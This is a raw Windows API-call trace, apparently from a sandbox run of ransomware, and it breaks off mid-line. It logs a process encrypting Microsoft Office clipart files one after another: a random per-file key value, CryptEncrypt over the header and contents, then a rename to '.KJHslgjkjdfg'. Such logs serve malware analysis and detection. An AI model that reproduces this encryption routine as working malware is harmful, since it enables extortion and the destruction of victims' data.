1 [0212.519] GetProcessHeap () returned 0x990000 [0212.519] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.519] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.519] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.519] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.521] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.521] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.522] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.522] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.522] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.522] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.522] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x43b0, lpOverlapped=0x0) returned 1 [0212.523] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43b0, dwBufLen=0x43b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43b0) returned 1 [0212.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.523] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x43b0, lpOverlapped=0x0) returned 1 [0212.523] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.523] SetEndOfFile (hFile=0x130) returned 1 [0212.526] GetProcessHeap () returned 0x990000 [0212.526] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.526] GetProcessHeap () returned 0x990000 [0212.526] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.kjhslgjkjdfg")) returned 1 [0212.527] CloseHandle (hObject=0x130) returned 1 [0212.527] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1 [0212.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.528] GetProcessHeap () returned 0x990000 [0212.529] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.529] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.529] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.533] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.533] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.533] GetProcessHeap () returned 0x990000 [0212.533] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.533] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.533] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.533] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.533] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.533] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.533] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.533] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.533] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.534] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.534] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x59d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x59d8, lpOverlapped=0x0) returned 1 [0212.535] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59e0, dwBufLen=0x59e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59e0) returned 1 [0212.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.535] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x59e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x59e0, lpOverlapped=0x0) returned 1 [0212.535] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.535] SetEndOfFile (hFile=0x130) returned 1 [0212.639] GetProcessHeap () returned 0x990000 [0212.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.640] GetProcessHeap () returned 0x990000 [0212.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.kjhslgjkjdfg")) returned 1 [0212.643] CloseHandle (hObject=0x130) returned 1 [0212.643] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1 [0212.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.644] GetProcessHeap () returned 0x990000 [0212.645] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.645] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.645] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.647] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.647] GetProcessHeap () returned 0x990000 [0212.647] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.647] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.647] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.647] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.648] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.648] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.648] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.648] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.648] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.648] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.648] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x75ca, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x75ca, lpOverlapped=0x0) returned 1 [0212.650] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x75d0, dwBufLen=0x75d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x75d0) returned 1 [0212.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.650] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x75d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x75d0, lpOverlapped=0x0) returned 1 [0212.651] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x76a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.651] SetEndOfFile (hFile=0x130) returned 1 [0212.654] GetProcessHeap () returned 0x990000 [0212.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.654] GetProcessHeap () returned 0x990000 [0212.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.kjhslgjkjdfg")) returned 1 [0212.656] CloseHandle (hObject=0x130) returned 1 [0212.656] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1 [0212.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.658] GetProcessHeap () returned 0x990000 [0212.658] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.658] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.659] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.667] GetProcessHeap () returned 0x990000 [0212.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.667] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.668] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.668] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.668] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.668] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.668] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x51a8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x51a8, lpOverlapped=0x0) returned 1 [0212.670] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51b0) returned 1 [0212.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.670] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x51b0, lpOverlapped=0x0) returned 1 [0212.670] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.670] SetEndOfFile (hFile=0x130) returned 1 [0212.673] GetProcessHeap () returned 0x990000 [0212.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.673] GetProcessHeap () returned 0x990000 [0212.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.kjhslgjkjdfg")) returned 1 [0212.675] CloseHandle (hObject=0x130) returned 1 [0212.675] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0212.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.677] GetProcessHeap () returned 0x990000 [0212.677] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.677] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.677] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.677] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.677] GetProcessHeap () returned 0x990000 [0212.677] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.677] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.677] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.677] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.706] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.706] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.707] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, 